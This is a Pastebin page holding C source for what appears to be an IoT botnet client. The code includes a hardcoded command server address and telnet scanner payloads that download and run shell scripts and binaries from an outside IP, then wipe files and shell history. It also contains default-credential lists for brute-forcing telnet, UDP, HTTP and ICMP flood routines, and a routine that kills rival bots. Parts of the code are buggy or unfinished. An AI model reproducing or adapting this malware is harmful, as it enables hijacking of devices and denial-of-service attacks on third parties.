Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <stdlib.h>
- #include <stdarg.h>
- #include <stdio.h>
- #include <sys/socket.h>
- #include <sys/types.h>
- #include <netinet/in.h>
- #include <arpa/inet.h>
- #include <netdb.h>
- #include <signal.h>
- #include <strings.h>
- #include <string.h>
- #include <sys/utsname.h>
- #include <unistd.h>
- #include <fcntl.h>
- #include <errno.h>
- #include <netinet/ip.h>
- #include <netinet/udp.h>
- #include <netinet/tcp.h>
- #include <sys/wait.h>
- #include <sys/ioctl.h>
- #include <net/if.h>
- #include <time.h>
- #include <limits.h>
- unsigned char *D3cOdeMePlS[] = { "188.209.52.74" };
- int Server_Botport = 123;
- //Payload For Telnet Scanner
- const char *TelnetPayload = "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.166.185.157/kittyhaxz.sh; chmod 777 kittyhaxz.sh; sh kittyhaxz.sh; ktftp 46.166.185.157 -c get ktftp1.sh; chmod 777 ktftp1.sh; sh ktftp1.sh; ktftp -r ktftp2.sh -g 46.166.185.157; chmod 777 ktftp2.sh; sh ktftp2.sh; rm -rf kittyhaxz.sh ktftp1.sh ktftp2.sh; rm -rf *;history -c\r\n";
- const char *TelnetPayload2 = "cd /tmp || cd /var/run || cd /var/tmp;rm -rf Kekz*; busybox wget http://46.166.185.157/kittyhaxz.sh; chmod 777 kittyhaxz.sh;busybox sh kittyhaxz.sh;busybox ktftp 46.166.185.157 -c get ktftp1.sh; chmod 777 ktftp1.sh; busybox sh ktftp1.sh;busybox ktftp -r ktftp2.sh -g 46.166.185.157; chmod 777 ktftp2.sh; busybox sh ktftp2.sh; rm -rf kittyhaxz.sh ktftp1.sh ktftp2.sh; rm -rf Kekz*\r\n";
- //Payload for Phone scanner
- const char *phonepayload = "cd /tmp; wget http://46.166.185.157/kittyphones -O phone; chmod 777 phone; ./phone;wget http://46.166.185.157/pl0xmipsel -O pl0xmipsel; chmod 777 pl0xmipsel; ./pl0xmipsel; rm -rf phone pl0xmipsel\r\n";
- //Telnet Usernames
- char *usernames[] = { "telnet\0", "root\0", "root\0", "root\0"};
- char *passwords[] = { "telnet\0", "root\0", "\0", "123456\0"};
- char* phone[] = {":", "ogin", "sername", "assword", "Linux", "9615-cdp", (char*)0};
- char* advances[] = {":", "ogin", "sername", "assword", (char*)0};
- char* fails[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", (char*)0};
- char* advances2[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", "$", "#", "BusyBox", (char*)0};
- const char *useragents[] = {
- "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
- "Mozilla/5.0 (compatible; Konqueror/3.0; i686 Linux; 20021117)",
- "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
- "Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10",
- "Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0",
- "Opera/6.04 (Windows XP; U) [en]",
- "Opera/9.99 (X11; U; sk)",
- "Mozilla/6.0 (Future Star Technologies Corp. Star-Blade OS; U; en-US) iNet Browser 2.5",
- "Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc",
- "Mozilla/5.0 Galeon/1.2.9 (X11; Linux i686; U;) Gecko/20021213 Debian/1.2.9-0.bunk",
- "Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41",
- "Mozilla/5.0 (compatible; iCab 3.0.3; Macintosh; U; PPC Mac OS)",
- "Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15",
- "AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)",
- "AppEngine-Google; (+http://code.google.com/appengine; appid: unblock4myspace)"
- "AppEngine-Google; (+http://code.google.com/appengine; appid: tunisproxy)",
- "AppEngine-Google; (+http://code.google.com/appengine; appid: proxy-in-rs)",
- "AppEngine-Google; (+http://code.google.com/appengine; appid: proxy-ba-k)",
- "AppEngine-Google; (+http://code.google.com/appengine; appid: moelonepyaeshan)",
- "AppEngine-Google; (+http://code.google.com/appengine; appid: mirrorrr)",
- "AppEngine-Google; (+http://code.google.com/appengine; appid: mapremiereapplication)",
- "AppEngine-Google; (+http://code.google.com/appengine; appid: longbows-hideout)",
- "AppEngine-Google; (+http://code.google.com/appengine; appid: eduas23)",
- "AppEngine-Google; (+http://code.google.com/appengine; appid: craigserver)",
- "AppEngine-Google; ( http://code.google.com/appengine; appid: proxy-ba-k)",
- "magpie-crawler/1.1 (U; Linux amd64; en-GB; +http://www.brandwatch.net)",
- "Mozilla/5.0 (compatible; MJ12bot/v1.2.4; http://www.majestic12.co.uk/bot.php?+)",
- "Mozilla/5.0 (compatible; MJ12bot/v1.2.3; http://www.majestic12.co.uk/bot.php?+)",
- "MJ12bot/v1.0.8 (http://majestic12.co.uk/bot.php?+)",
- "MJ12bot/v1.0.7 (http://majestic12.co.uk/bot.php?+)",
- "Mozilla/5.0 (compatible; MojeekBot/2.0; http://www.mojeek.com/bot.html)"
- };
- //implemented by Kekz
- //modified by Kekz
- void sendUKNOWN(unsigned char *ip, int secs) {
- int packetsize = rand() % 65500, flag=1,fd,iUNK_SOCK;
- int RandPorts[] = {80, 53, 8080, 443, 3074, 22, 23, 21, 20, 69, 587, 8080, 5000, 8000, 5222, 5223, 3724, 3127, 990, 28960, 14567};
- int RP = rand() % (sizeof(RandPorts)/sizeof(char *));
- iUNK_SOCK = socket(AF_INET, SOCK_DGRAM, 0);
- time_t start = time(NULL);
- struct sockaddr_in sin;
- struct hostent *hp;
- hp = gethostbyname(ip);
- bzero((char*) &sin,sizeof(sin));
- bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
- sin.sin_family = hp->h_addrtype;
- sin.sin_port = RP;
- unsigned int i = 0;
- while(1) {
- char *RandString[] = {"nwonknu", "unknown", "hello", "slammed", "Linux", "Machines", "Dank", "Layer4", "hhfdhkhbhcace", "flood", "ugiydg", "IOHEDU9S", "SIAHDIYSGBILC", "DSFDD", "DVAS", "EFFAESF",
- "uhdusaibxi", "OIEDNBOUBAS", "WQIJOIWENASO", "pkpinasoubc", "wubihbdc", "inopxuob", "wubiddsd", "savduhvaU", "UHyig732vgux", "UByovoouds", "saybuyyyywugav", "sdjbciysvhdaocu",
- "dsibciwveas", "dsygc8y32723", "tydjtr", "tfkyt", "rsyreg", "HCKG", "uibeiubf", "YRXDJR", "YIFUKT", "YCJYRX", "7TUFF", "dsgdf", "idsh", "sgd", "gffag", "gfdag", "fgadf", "fbafdb", "fbbbf", "dfbdfb", "fdbxb"};
- char *UKN_STRING = RandString[rand() % (sizeof(RandString) / sizeof(char *))];
- flag=1;
- ioctl(fd,FIONBIO,&flag);
- if (i >= 50) {
- send(iUNK_SOCK, UKN_STRING, packetsize, 0);
- connect(iUNK_SOCK,(struct sockaddr *) &sin, sizeof(sin));
- if (time(NULL) >= start + secs) {
- close(iUNK_SOCK);
- _exit(0);
- }
- i = 0;
- }
- i++;
- }
- }
- void sendSTD(unsigned char *ip, int port, int secs) {
- int iSTD_Sock;
- iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
- time_t start = time(NULL);
- struct sockaddr_in sin;
- struct hostent *hp;
- hp = gethostbyname(ip);
- bzero((char*) &sin,sizeof(sin));
- bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
- sin.sin_family = hp->h_addrtype;
- sin.sin_port = port;
- unsigned int a = 0;
- while(1)
- {
- char *randstrings[] = {"BEDROLL", "BEDSORE", "BEETLED", "BEETLES", "BEHESTS", "BEHOLDS", "BENDERS", "DELETES", "DEBTORS", "DUSTERS", "ENSURED", "EYELESS", "EYELETS", "HOLSTER", "HUNTERS", "LENDERS", "HOTBEDS", "LUSHEST", "Car", "Cat",
- "sudo", "yum", "apt", "get", "http", "request", "dts", "std", "socket", "create", "Hax", "Merry", "holidays", "vdeubhs", "G8WGVSI", "VUSAVXU", "28H9UgBGvv", "IYVkhj", "YVU", "uiVU",
- "Linux", "Machines", "su", "super", "user", "26736", "18h3b2", "Kekz", "wrecked", "Unix", "Strings", "Manipulation", "Command", "Line", "Of", "Kekz", "edew", "apt-get", "ewdb", "ubed",
- "iyvugvjvkh", "HBiug655", "KJYDFyljf754", "hbjhvihk", "guygiuov", "ugyi", "iyfutvugjiu", "hbivutfyrfvg", "uivyuivug", "khvihvgiug", "jbihvbig", "ubihkbvihyvigv",
- "bivhkb", "vejvbboqi", "vobqre", "odupubw", "ftyduiy", "hbilyfutdi", "78tgyuhkbjg", "tudiryxcvi", "iygcduy", "RTRTWFNJ", "ghdugffytsdyt", "tgerthgwtrwry", "yteytietyue", "qsortEQS", "8969876hjkghblk",
- "mOO", "uVN", "3rt", "24K", "Yy3", "sxP", "zHJ", "Ztl", "fEL", "J1G", "6mD4Q", "Ck0Zt", "6T1bg", "joNuc", "v9SNj", "Fm74C", "pXVcb", "w472Y", "vn6PH", "Ycy7z",
- "EraqpCtc", "eQE9VqOO", "0I2tFegb", "c9vSbX37", "HzullcDD", "sQT6GUpo", "SE5iiTRL", "8YnpVkqQ", "P4ZFrN8y", "ZaygGQWy", "4b9hcI2E0ob", "NbOwbHGP1sv", "Hot98t9cA1C",
- "SmosSnBu3UI", "6LhO2mqIaG2", "wFKTDkBE12q", "wr5RiFwx0oe", "bKJDMfvjRK2", "CXaCtbYiETK", "HRvlWcOcb8v", "SozDWxWE2jAWgGv", "LO53SCJbVwKjAta", "M6qlcepTThrOhl3",
- "s4VIALs5l0Murlt", "eHj9MDyMU2PoJ32", "aLQP6OWncMD8Pq7", "1zoihgOpu92HLUz", "wZU4i9GsFjT3DXt", "8SqliubwCJDq9fg", "NBLlKNISq52KJNr", "uewbdih", "wqodbpdwdqw", "iqhdpuqhwb"};
- char *STD2_STRING = randstrings[rand() % (sizeof(randstrings) / sizeof(char *))];
- if (a >= 50)
- {
- send(iSTD_Sock, STD2_STRING, 75, 0);
- connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
- if (time(NULL) >= start + secs) {
- close(iSTD_Sock);
- _exit(0);
- }
- a = 0;
- }
- a++;
- }
- }
- int socket_connect(char *host, in_port_t port) {
- struct hostent *hp;
- struct sockaddr_in addr;
- int on = 1, sock;
- if ((hp = gethostbyname(host)) == NULL) return 0;
- bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
- addr.sin_port = htons(port);
- addr.sin_family = AF_INET;
- sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
- setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));
- if (sock == -1) return 0;
- if (connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1) return 0;
- return sock;
- }
- void sendHTTP(void *host, char *method, in_port_t port, char *path, int timeFoo, int power) {
- const char *connections[] = {"close", "keep-alive", "accept"};
- int i, timeEnd = time(NULL) + timeFoo;
- char request[512], buffer[1];
- sprintf(request, "%s %s HTTP/1.1\r\nConnection: %s\r\nAccept: */*\r\nUser-Agent: %s\r\n", method, path, connections[(rand() % 3)], useragents[(rand() % 31)]);
- for (i = 0; i < power; i++) {
- if (fork()) {
- while (timeEnd > time(NULL)) {
- int socket = socket_connect((char *)host, port);
- if (socket != 0) {
- write(socket, request, strlen(request));
- read(socket, buffer, 1);
- close(socket);
- write(socket, request, strlen(request));
- close(socket);
- }
- }
- _exit(1);
- }
- }
- }
- //ICMPFlood By Kekz
- void ICMPFlood(unsigned char *ipzz, int PacketSize, int Intervalz, int TimeNeg) {
- int socket;
- char ICMPNigz[512], buffer[1];
- sprintf(ICMPNigz, "ping %s -s %s -i %s -w %s\r\n", ipzz, PacketSize, Intervalz, TimeNeg);
- system(ICMPNigz);
- write(socket, ICMPNigz, strlen(ICMPNigz));
- read(socket, buffer, 1);
- close(socket);
- write(socket, ICMPNigz, strlen(ICMPNigz));
- close(socket);
- }
- void botkiller() {
- char TestingKiller[80];
- char *RandBots[] = {"busybox", "armv6", "armv4", "mips", "mipsel", "cock", "fucknet", "swatnet", "botnet", "dicknet", "fucknet", "cracknet", "weednet", "ballnet", "queernet", "unet", "net", "yougay", "gaynet", "armv5l", "armv6l", "ktftp", "hax", "buff", "i686", "mips64", "jackmeoff", "sex", "sexy", "briankrebs", "bin", "sparc", "powerpc-440fp", "sh4", "cunt", "shit" };
- char *Boatnetz = RandBots[rand() % (sizeof(RandBots) / sizeof(char *))];
- sprintf(TestingKiller, "kill -9 $(pidof %s)\r\n", Boatnetz);
- system(TestingKiller);
- system("kill -9 $(pidof busybox\r\n");
- system("history -c\r\n");
- char Killer2[80];
- char Hackerzz = rand() % 5500;
- sprintf(Killer2, "kill -9 %s\r\n", Hackerzz);
- system(Killer2);
- }
- //note: not finished will do later
- /*
- void netgear() {
- int ipzz;
- ipzz = NetGearRanges();
- struct sockaddr_in dest_addr;
- dest_addr.sin_family = AF_INET;
- dest_addr.sin_port = htons(8080);
- memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
- dest_addr.sin_addr.s_addr = ipzz;
- }
- */
Advertisement
Add Comment
Please, Sign In to add comment